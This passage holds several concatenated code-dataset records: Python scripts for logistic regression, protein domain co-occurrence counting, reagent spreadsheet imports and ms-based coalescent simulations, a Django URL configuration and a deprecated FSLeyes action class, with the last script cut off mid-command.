np.zeros(3)\n\n# here is an alternative way to find the optimal theta\n#optimal_theta = op.fmin_bfgs(costFunction, test_theta, fprime=gradient, args=(X, Y))\nresult = op.minimize(costFunction, x0 = test_theta, args=(X, Y), method='TNC', jac=gradient)\noptimal_theta = result.x\nprob = sigmoid(np.dot(optimal_theta, np.array([1, 45, 85])))\nprint(\"for a student with scores 45 and 85 we predict an admission probability of %f\"%(prob))\npred = predict(optimal_theta, X)\na = np.where(pred == Y)[0]\nprint(len(a)/len(Y) * 100)\npos = np.where(data[:, 2] == 1)\nneg = np.where(data[:, 2] == 0)\nadmitted = plt.plot(data[pos, 0], data[pos, 1], 'k+', label=\"admitted\")\nnotadmitted = plt.plot(data[neg, 0], data[neg, 1], 'yo', label=\"not admitted\")\nplt.xlabel('exam1 score')\nplt.ylabel('exam2 score')\nplotDecicionBoundary(optimal_theta, X, Y)\n# #plt.legend(handles=[admitted, notadmitted])\n# plt.show()\n","sub_path":"AI/Python/logistic_regression/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"169928748","text":"# Nikhita Puthuveetil\r\nimport pandas as pd\r\nfrom collections import Counter\r\nimport itertools\r\nfrom random import sample\r\nfrom math import log10\r\nimport copy\r\n\r\n\"\"\" About this file:\r\nInput file: (this example input file uses PFAM identifiers, but this program can also use InterPro ids)\r\n\r\nProtein X Xdomains Protein Y YDomains\r\nP10408\t PF02810 PF07517 PF01043 PF07516 P31119\t PF01553 PF00501 \r\nP0AA37\t PF00849 \t P0A8P1\t PF03588 \r\nP14294\t PF01131 PF01751 \t P46133\t PF03806 \r\n\r\n\r\n\r\nEach row contains a pair of interacting proteins (Protein X and Protein Y) and the corresponding domains for \r\nproteinX and protein Y\r\n\r\nThis program aims to:\r\n 1. Make a nested list of XDomains and YDomains\r\n 2. Find all possible domain combinations for an interacting pair\r\n Ex: for the third interaction (P14294 and P46133)\r\n Possible domain interactions are:\r\n PF01131 - PF46133\r\n PF01751 - PF46133\r\n 3. Remove duplicate combinations from a list inside a nested list\r\n Ex: PF01131 - PF46133\r\n PF46133 - PF01131 (Will remove this combination pair)\r\n 4. Count the number of times each domain combination appears\r\n Ex: PF01131 - PF46133 4\r\n PF01751 - PF46133 1\r\n 5. Add reverse combination counts, for example:\r\n Ex: PF01131 - PF46133 4\r\n PF46133 - PF01131 3\r\n\r\n So you add the reverse combination to the original count so:\r\n Ex: PF01131 - PF46133 7\r\n\r\n 6. Shuffle one of domain lists (Ex: XDomains)\r\n 7. Then do processes 2-4 again\r\n 8. Do steps 5-6 a 1000 times, while keeping a dictionary that keeps tract of how many times the count of the domain pair\r\n is greater than or equal to its count before shuffling:\r\n\r\n 9. Take the average number of times a combination appeared\r\n 10. Do steps 5-8 for the other domain lists (YDomains)\r\n 11. For each domain pair, get the number of times the combination appeared for the non-shuffled combinations (\r\n (step 4) and the number of times the combination appeared for the shuffled combinations (step 8) and take\r\n log(non-shuffled/shuffled), and see if domain pair exists in the 3did or DIMA database.\r\n 12. Export results\r\n\"\"\"\r\n\r\n\r\n# Functions ------------------------------------------------------------------------------------------\r\n\r\n\r\ndef domain_combinations(proteinX, proteinY):\r\n \"\"\"\r\n Find all possible domain combinations for one interacting pair\r\n :param proteinX: a list of domains from one protein in a pair of interacting proteins Ex: [\"A\", \"B\"]\r\n :param proteinY: a list of domains from the other protein in a pair of interacting proteins Ex: [\"C\"]\r\n :return: returns a list of all possible domain combinations for a pair of interacting proteins\r\n Ex: [\"A-C\", \"B-C\"]\r\n \"\"\"\r\n domain_combo = []\r\n\r\n for domains1 in proteinX:\r\n for domains2 in proteinY:\r\n combo = domains1 + \"-\" + domains2\r\n domain_combo.append(combo)\r\n return domain_combo\r\n\r\n\r\n# function to find the total domain combinations\r\ndef total_combinations(domainslist1, domainslist2):\r\n \"\"\"\r\n Find all possible domain combinations for multiple interactions\r\n :param domainslist1: nested list of domains for a column of interactant in a pair of interacting proteins\r\n Ex: XDomains in input file in header comment\r\n :param domainslist2: nested list of domains for a column of the other interactant in a pair of interacting proteins\r\n Ex: YDomains in input file in header comment\r\n :return: returns a nested list of all possible domain combinations for interacting proteins\r\n \"\"\"\r\n total_combo = []\r\n for i in range(len(domainslist1)):\r\n combination = domain_combinations(domainslist1[i], domainslist2[i])\r\n total_combo.append(combination)\r\n return total_combo\r\n\r\n\r\ndef remove_reverse_duplicates(total_combinations_list):\r\n \"\"\"\r\n Calculating domain combinations can yield duplicates, such as when calculating combinations for domains\r\n [\"A\", \"B\"] and [\"A\"] will yield [\"A-B\", \"A-A\", \"B-A\", \"B-B\"], this method will remove \"B-A\"\r\n :param total_combinations_list: returns a nested list of all possible domain combinations for interacting proteins\r\n :return: returns a nested list of all possible domain combinations for a pair of interacting proteins with\r\n duplicates removed\r\n \"\"\"\r\n for combinations in total_combinations_list:\r\n for individ_combos in combinations:\r\n # if dealing with PFAM ids\r\n if individ_combos.startswith(\"PF\"):\r\n reverse_PFAM = individ_combos[8:] + \"-\" + individ_combos[0:7]\r\n # if reverse is in the list and to ignore combinations like PF02134-PF02134\r\n if reverse_PFAM in combinations and individ_combos[0:7] != individ_combos[8:]:\r\n combinations.remove(individ_combos)\r\n # if dealing with interPro ids\r\n elif individ_combos.startswith(\"IPR\"):\r\n reverse_interPro = individ_combos[10:] + \"-\" + individ_combos[0:9]\r\n if reverse_interPro in combinations and individ_combos[0:9] != individ_combos[10:]:\r\n combinations.remove(individ_combos)\r\n\r\n return total_combinations_list\r\n\r\n\r\ndef combo_counter(combo_list):\r\n \"\"\"\r\n Will count the number of times each combinations appears in combo_list\r\n :param combo_list: returns a nested list of all possible domain combinations for interacting proteins\r\n :return: a dictionary of the counts for each of the combinations in combo_list\r\n \"\"\"\r\n # combine lists of lists to one list\r\n combined_list = itertools.chain.from_iterable(combo_list)\r\n combined_list = list(combined_list)\r\n count = Counter(combined_list)\r\n return count\r\n\r\n\r\ndef add_reverse_combos(count_dict):\r\n \"\"\"\r\n Once a dictionary of counts for each domain combination has been made, there will be duplicates. Take for example, the domain combination\r\n PF00486-PF00072 which has a count of 13. Its reverse combination, PF00072-PF00486 has a count of 7. Since the order of the domains do not\r\n matter, we treat both of these combinations as the same so need to add their counts, so PF00486-PF00072 will have a count of 20.\r\n This method aims to go through the dictionary of counts, see if the reverse combination has a count of more than 0, if it does,\r\n then it will add it to the original combination and delete the reverse combination.\r\n Additionally, the method will remove any reverse combinations that has a count of 0.\r\n :param count_dict: dictionary of counts\r\n :return: edit_count: dictionary of counts with the reverse combos added/deleted\r\n \"\"\"\r\n edit_count = copy.deepcopy(count_dict)\r\n for keys in count_dict.keys():\r\n # if keys in dict are PFAM ids\r\n if keys.startswith(\"PF\"):\r\n # if the reverse combination has counts and you want to skip over entries like this PF00072-PF00072\r\n if count_dict[keys[8::] + \"-\" + keys[0:7]] > 0 and count_dict[keys] != count_dict[keys[8::] + \"-\" + keys[0:7]]:\r\n # if the reverse combination has counts, then add it to original combination and delete the reverse combination\r\n edit_count[keys] = count_dict[keys] + count_dict[keys[8::] + \"-\" + keys[0:7]]\r\n del edit_count[keys[8::] + \"-\" + keys[0:7]]\r\n\r\n # if reverse combo has no counts, then delete it\r\n if count_dict[keys[8::] + \"-\" + keys[0:7]] == 0:\r\n del edit_count[keys[8::] + \"-\" + keys[0:7]]\r\n\r\n # if keys in dict are InterPro ids\r\n if keys.startswith(\"IPR\"):\r\n if count_dict[keys[10::] + \"-\" + keys[0:9]] > 0 and count_dict[keys] != count_dict[keys[10::] + \"-\" + keys[0:9]]:\r\n edit_count[keys] = count_dict[keys] + count_dict[keys[10::] + \"-\" + keys[0:9]]\r\n del edit_count[keys[10::] + \"-\" + keys[0:9]]\r\n\r\n if count_dict[keys[10::] + \"-\" + keys[0:9]] == 0:\r\n del edit_count[keys[10::] + \"-\" + keys[0:9]]\r\n\r\n return edit_count\r\n\r\n\r\ndef randomize_a_1000(domain_list1, domain_list2, original_counts_dict):\r\n \"\"\"\r\n Randomization (see steps 5-8)\r\n :param domain_list1: nested list of domains for a column of interactant in a pair of interacting proteins (list you want to shuffle)\r\n :param domain_list2: nested list of domains for a column of the other interactant in a pair of interacting proteins (list remains unchanged)\r\n :param original_counts_dict: dictionary of domains pairs and their counts\r\n :return: a dictionary of the average counts for each domain combination\r\n \"\"\"\r\n my_count = {}\r\n for times in range(1000):\r\n randomized_domain = sample(domain_list1, len(domain_list1))\r\n randomized_domain_combo = remove_reverse_duplicates(total_combinations(randomized_domain, domain_list2))\r\n randomized_count = add_reverse_combos(combo_counter(randomized_domain_combo))\r\n\r\n for k, v in randomized_count.items():\r\n\r\n # if combination is new (not already in the dictionary), make a new key for it\r\n if v >= original_counts_dict[k]:\r\n if k not in my_count.keys():\r\n my_count[k] = 1\r\n\r\n else:\r\n my_count[k] += 1 # the sum of all the counts of a particular combinations\r\n # my_count[k][1] += 1 # the number of times the combination appears\r\n\r\n # Take the average of the sum of the counts and the number of times the combination appears\r\n for k, v in my_count.items():\r\n my_count[k] = my_count[k] / 1000\r\n # my_count[k] = my_count[k][0]\r\n\r\n return my_count\r\n\r\n\r\n\r\ndef consolidate_my_information(original_dict, shuffled_dict):\r\n \"\"\"\r\n Now that the counts for the domain pairs have been calculated (and the randomization has been done), this function\r\n will consolidate the information into one dictionary and then normalize the counts and then see if a given domain\r\n pair can be found in the 3did and DIMA database\r\n :param original_dict: dictionary of counts with the reverse domain combos added/deleted\r\n :param shuffled_dict: a dictionary of the average counts for each domain combination\r\n :return: a dictionary containing the log_odds value and if domain pair exists in 3did and DIMA for each domain pair\r\n \"\"\"\r\n # Open the data from 3did database\r\n all_3did = []\r\n with open(\"3did_validation.dat\", \"r\") as fh:\r\n for lines in fh:\r\n if lines.startswith(\"#=ID\"):\r\n lines = lines.replace(\"@Pfam\", \"\")\r\n start = lines.find(\"(\")\r\n all_3did.append(lines[start:].replace(\"(\", \"\").replace(\")\", \"\").split())\r\n\r\n\r\n # Open data from dima\r\n df = pd.read_csv(\"dima.csv\")\r\n # Remove rows where both scores for ipfam and 3did is 0\r\n df = df.drop(df[(df.ipfam == 0) & (df.threedid == 0)].index)\r\n df = df[['dom1', 'dom2']]\r\n dima = df.values.tolist()\r\n\r\n complete_dict = {}\r\n log_keys = 0\r\n my_3did = \"\"\r\n my_dima = \"\"\r\n for keys in shuffled_dict.keys():\r\n if keys in original_dict.keys():\r\n\r\n # Take the log values\r\n if shuffled_dict[keys] != 0:\r\n division = original_dict[keys] / shuffled_dict[keys]\r\n if division == 0.0:\r\n log_keys = 0\r\n else:\r\n log_keys = log10(division)\r\n\r\n # Find in 3did\r\n found = False\r\n d_found = False\r\n\r\n # If domains are labeled with PFAM IDS\r\n if keys.startswith(\"PF\"):\r\n domain1 = keys[0:7]\r\n domain2 = keys[8:]\r\n\r\n # If domains are labeled with InterPro IDs\r\n elif keys.startswith(\"IPR\"):\r\n domain1 = keys[0:9]\r\n domain2 = keys[10:]\r\n\r\n for data in all_3did:\r\n if domain1 in data[0] and domain2 in data[1]:\r\n my_3did = \"Yes\"\r\n found = True\r\n\r\n elif domain1 in data[1] and domain2 in data[0]:\r\n my_3did = \"Yes\"\r\n found = True\r\n\r\n if found is False:\r\n my_3did = \"No\"\r\n\r\n for data in dima:\r\n if domain1 in data[0] and domain2 in data[1]:\r\n my_dima = \"Yes\"\r\n d_found = True\r\n\r\n elif domain1 in data[1] and domain2 in data[0]:\r\n my_dima = \"Yes\"\r\n d_found = True\r\n\r\n if d_found is False:\r\n my_dima = \"No\"\r\n\r\n complete_dict[keys] = [original_dict[keys], shuffled_dict[keys], log_keys, my_3did, my_dima]\r\n\r\n return complete_dict\r\n\r\n\r\ndef export_combos(domain, complete_dict, species_name):\r\n \"\"\"\r\n Exports counts from the complete dictionary of values (which includes the domain counts from the original_dict,\r\n shuffled_dict, the log_values, and if the domain pair is in 3did\r\n :param domain: a String indicating which domain is shuffled in shuffled_dict (ex: X)\r\n :param complete_dict: a complete dictionary of values containing counts, log values, and if the pair is in 3did\r\n :param species_name of the species the proteins are from\r\n :return: a csv file with the domain combination and the corresponding counts in from the nonshuffled dictionary,\r\n shuffled dictionary, the log values, and if the pair is in the 3did database\r\n \"\"\"\r\n outputfile = species_name + domain + \"log.csv\"\r\n with open(outputfile, \"w\") as writer:\r\n header = \"Combination\" + \",\" + \"Original Count\" + \",\" + \"Shuffled \" + domain + \"Count\" + \\\r\n \",\" + \"Log(original/shuffled\" + domain + \")\" + \",\" + \"Domain in 3did\" + \",\" + \"Domain in DIMA\" + \"\\n\"\r\n writer.write(header)\r\n for entry in complete_dict.keys():\r\n row = entry + \",\" + str(complete_dict[entry][0]) + \",\" + str(complete_dict[entry][1]) + \",\" \\\r\n + str(complete_dict[entry][2]) + \",\" + str(complete_dict[entry][3]) + \",\" + str(complete_dict[entry][4]) + \"\\n\"\r\n writer.write(row)\r\n\r\n\r\ndef get_my_domain_combinations(file_name, species_name):\r\n \"\"\"\r\n\r\n :param file_name: a csv file containing a paired protein list with their domains (see info at the very top of this program)\r\n :param species_name: name of the species the proteins are coming from\r\n :return: a csv file with the domain combination and the corresponding counts in from the nonshuffled dictionary,\r\n shuffled dictionary, the log values, and if the pair is in the 3did database\r\n \"\"\"\r\n df = pd.read_csv(file_name)\r\n\r\n \"\"\"\r\n Make a nested list of XDomains and YDomains\r\n In the XDomains column, take each row and domains for each protein into a list\r\n X_domain will be a nested list (each list containing the domains for a protein) (Same will be done for YDomains)\r\n \"\"\"\r\n X_domain = []\r\n for i in df.XDomains:\r\n X_split = i.split()\r\n X_domain.append(X_split)\r\n\r\n Y_domain = []\r\n for i in df.YDomains:\r\n Y_split = i.split()\r\n Y_domain.append(Y_split)\r\n\r\n X_copy = list(X_domain)\r\n Y_copy = list(Y_domain)\r\n\r\n \"\"\"Find domain combinations for lists of domains for X and Y (Steps 2-4)\"\"\"\r\n all_combos = remove_reverse_duplicates(total_combinations(X_domain, Y_domain))\r\n original_count = combo_counter(all_combos)\r\n edited_original_count = add_reverse_combos(original_count)\r\n\r\n\r\n \"\"\"Shuffle the first domain list\"\"\"\r\n shuffled_X_count = randomize_a_1000(X_domain, Y_domain, edited_original_count)\r\n\r\n \"\"\"Shuffle the second domain list\"\"\"\r\n shuffled_Y_count = randomize_a_1000(Y_copy, X_copy, edited_original_count)\r\n\r\n \"\"\"Export results\"\"\"\r\n export_combos(\"X\", consolidate_my_information(edited_original_count, shuffled_X_count), species_name)\r\n export_combos(\"Y\", consolidate_my_information(edited_original_count, shuffled_Y_count), species_name)\r\n\r\n\r\n# get_my_domain_combinations(\"E.coli_PFAM.csv\", \"E.coli\")\r\n","sub_path":"Domain_Interactions.py","file_name":"Domain_Interactions.py","file_ext":"py","file_size_in_byte":16320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"168686078","text":"from django.urls import path\nfrom Bigflow.Master import views\nfrom Bigflow.Transaction import views as transactionview\nfrom Bigflow.Core import views as coreViews\n\nurlpatterns = [\n path('customername/',views.customername,name='customername'),\n path('customergroupname/',views.customergroupname,name='customergroupname'),\n path('saleorder/',views.saleorder,name='saleorder'),\n path('soorderdetails/',views.soorderdetails,name='soorderdetails'),\n path('customerall/',views.customerall,name='customerall'),\n path('casequerys/',views.casequerys,name='casequerys'),\n # path('query/',views.query,name='query')\n path('casequery/',views.casequery,name='casequery'),\n path('followup/',views.followup,name='followup'),\n path('outstanding/', views.outstanding, name='outstanding'),\n path('casequery_temp/', views.casequery_temp, name='casequery_temp'),\n path('sales_transaction/',views.sales_transaction,name='sales_transaction'),\n path('texteditor/', views.texteditor, name='texteditor'),\n path('mailtemplate/', views.mailtemplate, name='mailtemplate'),\n path('mailtemplatesummary/',views.mailtemplatesummary, name='mailtemplatesummary'),\n path('sendmailTemplate/', views.sendmailTemplate, name='sendmailTemplate'),\n path('Templatecreation/', views.Templatecreation, name='Templatecreation'),\n path('EditTemplate/', views.EditTemplate, name='EditTemplate'),\n path('getquerydata/', views.getquerydata, name='getprocessdata'),\n path('MailTemplate_set/',views.MailTemplate_set, name='MailTemplate_set'),\n path('getTemplatedata/', views.getTemplatedata , name='getTemplatedata'),\n path('commentget/',views.commentget,name='commentget'),\n path('commentset/',views.commentset,name='commentset'),\n path('execmappingexcel/',views.execmapping_excel,name='execmapping_excel'),\n path('ddlempexec/',views.employee_executive,name='ddlempexec'),\n path('ddlempexecall/',views.employee_allexecutive,name='ddlempexecall'),\n path('supplier/',views.supplierIndex,name='supplier'),\n path('suppliersummary/',views.supplierSumryIndex,name='suppliersummary'),\n path('productadd/',views.productadd, name='productadd'),\n path('productorservice/',views.productorservice, name='productorservice'),\n path('productdetails/',views.productdetails,name='productdetails'),\n path('categoryget/', views.categoryget, name='categoryget'),\n path('typeget/', views.typeget, name='typeget'),\n path('producttypeset/', transactionview.producttypeset, name='producttypeset'),\n path('productadd/', views.productadd, name='productadd'),\n path('Productsmry/', transactionview.Productsmry, name='Productsmry'),\n path('popupcarton/', views.Product_Add_Popupcarton, name=\"Product_Add_Popupcarton\"),\n path('suppliermaster/',views.Supplier_Master,name='Supplier_Master'),\n path('popup3/', views.Product_Type_Popup, name=\"Product_Type_Popup\"),\n path('popup2/', views.Product_Add_Popup, name=\"Product_Add_Popup\"),\n path('supplierdetails/',views.supplierdetails,name='supplier_details'),\n path('set_state_dist_city_pincode/',views.SetCityPincode,name='Adding_New_City_Pincode'),\n path('product_specification/',views.prod_specification,name='prod_specification'),\n path('empactinact/', views.empactinact, name='employee_active_inactive'),\n path('common_summary/',views.common_summary,name='common_summary'),\n path('view_summary/',views.view_summary,name='view_summary'),\n path('view_summary_dynamic/',views.view_summary_dynamic,name='view_summary_dynamic'),\n path('insert_bank_branch/',views.insert_bank_branch,name='insert_bank_branch'),\n path('insert_paymode_details/',views.insert_paymode_details,name='insert_paymode_details'),\n path('insert_summary/',views.insert_summary,name='insert_summary'),\n path('update_summary/',views.update_summary,name='update_summary'),\n path('mst_hsn/',views.mst_hsn,name='mst_hsn'),\n path('mst_state_dist_city/',views.mst_state_dist_city,name='mst_state_dist_city'),\n path('hsn_data/',views.hsn_data,name='hsn_data'),\n path('set_mst_SDCP/',views.set_mst_SDCP,name='set_mst_SDCP'),#set_mst_State-Distric-City-Pincode\n path('mst_tax/',views.mst_tax,name='mst_tax'),\n path('tax_data/',views.tax_data,name='tax_data'),\n path('get_bus_seg/',views.get_bus_seg,name='get_bus_seg'),\n path('employeeupload/', views.emp_upload, name='emp_upload'),\n path('set_empupload/', views.set_empupload, name='set_empupload'),\n path('get_empupload/', views.get_empupload, name='get_empupload'),\n path('del_empupload/', views.del_empupload, name='del_empload'),\n path('saveemp/', views.saveemp, name='saveemp'),\n path('customerupload/',views.customerupload,name='customerupload'),\n path('custset/',views.custset,name='custset'),\n path('custupload/',views.custupload,name='custupload'),\n path('customersubmit/',views.customersubmit,name='customersubmit'),\n path('customerdelete/',views.customerdelete,name='customerdelete'),\n path('select_query_screen/', views.select_query_screen, name=\"select_query_screen\"),\n\n # path('master_accesstoken/', views.master_accesstoken, name='master_accesstoken'),\n #path('mastersync_set/', views.mastersync_set, name='mastersync_set'),\n path('mastersync_employee_get/', coreViews.mastersync_employee_Data, name='mastersync_employee_Data'),\n path('mastersync_branch_get/', coreViews.mastersync_branch_Data, name='mastersync_branch_Data'),\n path('mastersync_gl_get/', coreViews.mastersync_gl_Data, name='mastersync_gl_Data'),\n path('agency/', views.agency, name='agency'),\n path('agencyupload/', views.agencyupload, name='agencyupload'),\n path('agencyset/', views.agencyset, name='agencyset'),\n path('SubAgency/', views.SubAgency, name='SubAgency'),\n path('deleteagency/', views.deleteagency, name='deleteagency'),\n path('customerupload/', views.customerupload, name='customerupload'),\n path('custset/', views.custset, name='custset'),\n\n # Courier\n path('mst_courier/',views.mst_courier,name='mst_courier'),\n path('get_courier_summary/', views.courier_summary_get, name='get_courier_summary'),\n path('courier_data/', views.courier_data, name='courier_set'),\n # Add Business Segment\n path('add_business_segment/', views.add_business_segment, name='add_business_segment'),\n path('fileUploadS3/', views.fileUploadS3, name='fileUploadS3'),\n path('common_s3_file_url_generate/', views.common_s3_file_url_generate, name='common_s3_file_url_generate'),\n path('common_s3_file_download/', views.common_s3_file_download, name='common_s3_file_download'),\n path('customer_query_screen/', views.customer_query_screen, name=\"customer_query_screen\"),\n path('customer_query_screen_id/', views.customer_query_screen_id, name=\"customer_query_screen_id\"),\n path('customer_query_screen_update/', views.customer_query_screen_update, name=\"customer_query_screen_update\"),\n path('customer_query_screen_dependent/', views.customer_query_screen_dependent, name=\"customer_query_screen_dependent\"),\n\n ]\n","sub_path":"Bigflow/Master/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":7039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"197610781","text":"import xlrd\nimport pandas as pd\nfrom django.db import IntegrityError\nfrom treatment.models import (\n CostWeek, CostTonnage, CyanidePlan, LimePlan, FloccPlan, OxygenPlan, CarbonPlan, \n CyanideDip, LimeDip, FloccDip, OxygenDip, CarbonDip \n)\nfrom recovery.models import (\n CausticPlan, PolyfuelPlan, HydrochloricAcidPlan, ElutionCyanidePlan,\n CausticDip, PolyfuelDip, HydrochloricAcidDip, ElutionCyanideDip\n)\n\n\ndef read_and_save_reagents_shopping_list(fp):\n d = read_reagent_dip(fp)\n save_dips(d)\n\n\ndef read_reagent_dip(fp):\n\n wb = xlrd.open_workbook(fp)\n s_names = wb.sheet_names()\n d = {}\n for s in s_names:\n df = pd.read_excel(fp, sheet_name=s, header=None)\n r, c = df.shape\n df.columns = range(c)\n df.index = range(r)\n df = label_data(df)\n d[s] = df\n return d\n\ndef label_data(df):\n label_series = df[1]\n label_series.dropna(inplace=True)\n label_series = label_series.str.strip()\n\n s_strngs = {\n 'From': ['wk_start', 'wk_end', 'week_id'],\n 'Planned Consumption': ['planned_cons'],\n 'Unit Cost': ['unit_cost'],\n 'Opening Stock': ['opening'],\n 'Deliveries': ['deliveries'],\n 'Closing Stock': ['closing'],\n 'Forecasted kg/tons': ['forcast_cons'],\n 'Forecasted kg/Elu': ['forcast_cons']\n }\n index_dict = {}\n for s_str, label_lst in s_strngs.items():\n msk = label_series.str.find(s_str)\n for x, y in msk.items():\n if y > -1:\n if \"From\" in s_str:\n index_dict[x] = label_lst[0]\n index_dict[int(x) + 1] = label_lst[1]\n index_dict[int(x) - 1] = label_lst[2]\n else:\n index_dict[x] = label_lst[0]\n rows = list(index_dict.keys())\n f = df.iloc[rows]\n f.rename(index=index_dict, inplace=True)\n cols = []\n for x, y in f.iteritems():\n if \"Week\" in str(y[\"week_id\"]):\n cols.append(x)\n f = f[cols]\n return f\n\n\ndef save_dips(d):\n\n for reagent in list(d.keys()):\n if \"Lime\" in reagent:\n save_dip(d, reagent, LimePlan, LimeDip)\n elif \"Oxygen\" in reagent:\n save_dip(d, reagent, OxygenPlan, OxygenDip)\n elif \"Floc\" in reagent:\n save_dip(d, reagent, FloccPlan, FloccDip)\n elif \"Carbon\" in reagent:\n save_dip(d, reagent, CarbonPlan, CarbonDip)\n elif \"CN - Leach\" in reagent:\n save_dip(d, reagent, CyanidePlan, CyanideDip)\n elif \"Caustic\" in reagent:\n save_dip(d, reagent, CausticPlan, CausticDip)\n elif \"Acid\" in reagent:\n save_dip(d, reagent, HydrochloricAcidPlan, HydrochloricAcidDip)\n elif \"Polyfuel\" in reagent:\n save_dip(d, reagent, PolyfuelPlan, PolyfuelDip)\n elif \"CN - Elu\" in reagent:\n save_dip(d, reagent, ElutionCyanidePlan, ElutionCyanideDip) \n\n\ndef save_dip(d, reagent, planModel, dipModel):\n\n df = d[reagent]\n wk1 = [None, None, None]\n for x, y in df.iteritems():\n print(x)\n if str(y['wk_end']) != 'nan':\n cw, _ = CostWeek.objects.get_or_create(\n wk_id=y['week_id'],\n wk_start_date = y['wk_start'],\n wk_end_date=y['wk_end']\n )\n if \"Week 1\" in str(y['week_id']):\n wk1[0] = y['wk_start']\n wk1[1] = y['planned_cons']\n wk1[2] = y['unit_cost']\n elif \"Week 4\" in str(y['week_id']):\n print(wk1)\n month_start, planned_cons, obj_unit_cost = wk1\n month_end = y['wk_end']\n if str(month_end) == 'nan':\n month_end = None\n cm, obj_created = CostWeek.objects.update_or_create(\n wk_id=\"Objective\",\n wk_start_date = month_start,\n wk_end_date=month_end\n )\n if obj_created:\n print('new cost month %s to %s created' % (month_start, month_end))\n else:\n print('matching month was found in db, no new month created')\n lp = planModel()\n lp.consumption = planned_cons\n lp.unit_cost = obj_unit_cost\n lp.wk = cm\n try:\n lp.save()\n except IntegrityError:\n pass\n\n if str(y['closing']) != 'nan':\n ld = dipModel()\n ld.wk = cw\n ld.opening_balance = y['opening']\n ld.delivery_quantity = y['deliveries']\n ld.closing_balance = y['closing']\n ld.consumption_forecast = y['forcast_cons']\n try:\n ld.save()\n except IntegrityError:\n pass\n\n","sub_path":"lin_dc/src/datamanager/input/xl/reagent_dips.py","file_name":"reagent_dips.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"153405322","text":"#!/usr/bin/env python\n#\n# saveperspective.py - deprecated.\n#\n# Author: Paul McCarthy \n#\n\"\"\"Deprecated - see :mod:`.savelayout`. \"\"\"\n\n\nimport deprecation\n\n\nfrom . import savelayout\n\n\nclass SavePerspectiveAction(savelayout.SaveLayoutAction):\n\n @deprecation.deprecated(deprecated_in='0.24.0',\n removed_in='1.0.0',\n details='use SaveLayoutAction')\n def __init__(self, *args, **kwargs):\n savelayout.SaveLayoutAction.__init__(self, *args, **kwargs)\n","sub_path":"fsleyes/actions/saveperspective.py","file_name":"saveperspective.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"172262621","text":"#!/usr/bin/python\n#note, columns in \"output.txt\" as follows: pi\tss\tD\tthetaH\tH\n\n## Code that simulate data for the evolution2015 ABC course\n\n## in order to use this code you have to have ms installed on your computer\n## ms can be freely downloaded from:\n## http://home.uchicago.edu/rhudson1/source/mksamples.html\n\nimport random\nimport os\nimport math\n\n### variable declarations\n\n#define the number of simulations\nPriorsize = 100000\n\n## nDNA sample size of ART2.\nnDNAART2 = 8\n## nDNA sample size of ART1.\nnDNAART1 = 8\n## nDNA sample size of CRI.\nnDNACRI = 8\n## nDNA sample size of GIL.\nnDNAGIL = 8\n## nDNA sample size of MOC.\nnDNAMOC = 8\n## nDNA sample size of POS2.\nnDNAPOS2 = 8\n## nDNA sample size of UNA.\nnDNAUNA = 8\n## nDNA sample size of BUR.\nnDNABUR = 8\n## nDNA sample size of DBO.\nnDNADBO = 8\n## nDNA sample size of FMS.\nnDNAFMS = 8\n## nDNA sample size of APA1-4.\nnDNAAPAs = 32\n## nDNA sample size of MAG and TEG.\nnDNAMAG_TEG = 16\n## nDNA sample size of URU.\nnDNAURU = 8\n## nDNA sample size of PIR.\nnDNAPIR = 8\n## nDNA sample size of GOV.\nnDNAGOV = 8\n## nDNA sample size of FOR and DEL.\nnDNAFOR_DEL = 16\n## nDNA sample size of PET and ALC.\nnDNAPET_ALC = 16\n## nDNA sample size of MIN.\nnDNAMIN = 8\n## nDNA sample size of PGO.\nnDNAPGO = 8\n## nDNA sample size of AQU and RVE.\nnDNAAQU_RVE = 16\n\n\n## nDNA sample sizes (number of alleles).\nnDNANsam = nDNAART2 + nDNAART1 + nDNACRI + nDNAGIL + nDNAMOC + nDNAPOS2 + nDNAUNA + nDNABUR + nDNADBO + nDNAFMS + nDNAAPAs + nDNAMAG_TEG + nDNAURU + nDNAPIR + nDNAGOV + nDNAFOR_DEL + nDNAPET_ALC + nDNAMIN + nDNAPGO + nDNAAQU_RVE\n## number of years per generation\ngenlen = 15\n## create a file to store parameters and one to store the models\nparameters = file(\"parameters.txt\",\"w\")\nmodels = file(\"models.txt\",\"w\")\n\n#Define default values for priors absent in some models.\nT5=0\nT6=0\n\n### Clade CO Lumper Model\nfor i in range(Priorsize):\n\n\t### Define parameters\n\t## Ne prior following a uniform distribution from 50 to 10000\n\tNe = random.uniform(50000, 500000)\n\t## mutation rate according to Ossowski et al. (2010)\n\tmutrate =(7.0E-9)\n\t## use Ne and mutrate values to obtain the value of theta (required by ms)\n\tTheta = 4*Ne*mutrate*450\n\t## divergence time prior following an uniform distribution from 650k to 350k years ago.\n\tRootDivTime = random.uniform(350000, 650000)\n\t## subsequent divergence events with prior following an uniform distribution from the time of the previous event until the present.\n\tT4=random.uniform(0,RootDivTime)\n\tT3=random.uniform(0,T4)\n\tT2=random.uniform(0,T3)\n\tT1=random.uniform(0,T2)\n\n\t## use the DivTime in years to calculte divergence time in coalescent units (required by ms)\n\tcoalRootDivTime = RootDivTime/(genlen*4*Ne)\n\tcoalT4 = T4/(genlen*4*Ne)\n\tcoalT3 = T3/(genlen*4*Ne)\n\tcoalT2 = T2/(genlen*4*Ne)\n\tcoalT1 = T1/(genlen*4*Ne)\n\n\t## nDNA ms's command\n\tos.system(\"./ms %d 26 -t %f -I 20 %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d -ej 0 19 5 -ej 0 13 5 -ej 0 9 5 -ej 0 15 4 -ej 0 14 4 -ej 0 20 7 -ej 0 16 7 -ej 0 8 7 -ej 0 10 6 -ej 0 12 2 -ej 0 11 2 -ej %f 5 4 -ej %f 18 1 -ej %f 3 2 -ej %f 17 1 -ej %f 6 2 -ej %f 2 1 -ej %f 4 1 -ej %f 7 1 | perl 